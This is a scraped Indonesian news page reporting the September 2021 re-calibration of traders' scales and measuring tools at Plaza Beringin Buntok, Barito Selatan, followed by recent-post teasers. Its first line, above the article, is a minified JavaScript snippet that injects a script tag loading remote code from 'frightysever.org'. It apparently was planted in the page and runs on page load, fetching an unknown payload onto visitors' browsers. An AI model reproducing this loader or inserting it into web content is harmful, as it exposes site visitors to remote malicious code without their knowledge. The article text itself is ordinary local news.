(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Alat Ukur dan Timbang Pedagang Plaza Buntok Ditera Ulang


KANALKALIMANTAN.COM, BUNTOK – Disperindagkop Barsel bekerjasama dengan UPTD Metrologi Legal melakukan kegiatan tera ulang Alat Ukur, Takar, Timbang dan Perlengkapan (UTTP) di Plaza Beringin Buntok, Rabu (15/9/2021).

Kepala Disperindag Barsel Swita Winarsih mengatakan, pelaksanaan kegiatan tera ulang UTTP kepada para pedagang plaza beringin Buntok ini , sekaligus untuk dapat memberikan penyuluhan dan mengingatkan kepada para pedagang.

“Sesuai dengan UUD No 2 tahun 1981 terkait semua alat UTTP wajib ditera ulang, sehingga alat ukur atau timbang yang ada untuk dapat terus terjaga kemurnian ukurnya, tentunya tidak saling merugikan bagi para pedagang dan pembeli nantinya,” kata Swita.

 

 

Baca juga: Presiden Joko Widodo Lakukan Peletakan Batu Pertama PT HKML Baterai Indonesia

Ia mengungkapkan, tera ulang ini sudah berlangsung untuk ke dua kalinya di tahun 2021 ini. Adapun pelaksanaan tera ulang saat ini berlangsung sejak 14-17 September ini.

“Jadi para pedagang yang UTTP miliknya belum ditera ulang bisa langsung membawa alatnya ke UPTD Metrologi Legal yang ada di bawah Plaza Beringin Buntok,” beber Swita.

Ditambahkan olehnya sekaligus mengimbau kepada para masyarakat yang berbelanja di Plaza Beringin Buntok, untuk setiap penimbangan yang dilihat nanti belum mendapatkan label dari Dinas Terkait kiranya bisa meragukan kadar timbangannya.

“Karena kita bisa pastikan untuk alat timbang yang sudah mendapatkan lebel dari kita bisa dipastikan ketepatan nilai ukur timbangan tersebut yang sudah kita tes sebelumnya,” tegas Swita.

Baca juga: Data Penerima Bansos Tak Akurat, Mensos Risma: Salah Sasaran Kalian yang Tanggung!

Ketua Pedagang Plaza Beringin Buntok, H Anas mengatakan, sangat mendukung adanya tera ulang ini tidak ada lagi kecurigaan bagi para pembeli terhadap alat timbang pedagang.

“Dan tentunya kita juga mengajak untuk para pedagang yang alat UTTP belum di tera ulang untuk dapat menera ulang, yang mana pada kegiatan ini tidak ada yang saling merugikan bagi semua pihak,” ujarnya. (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.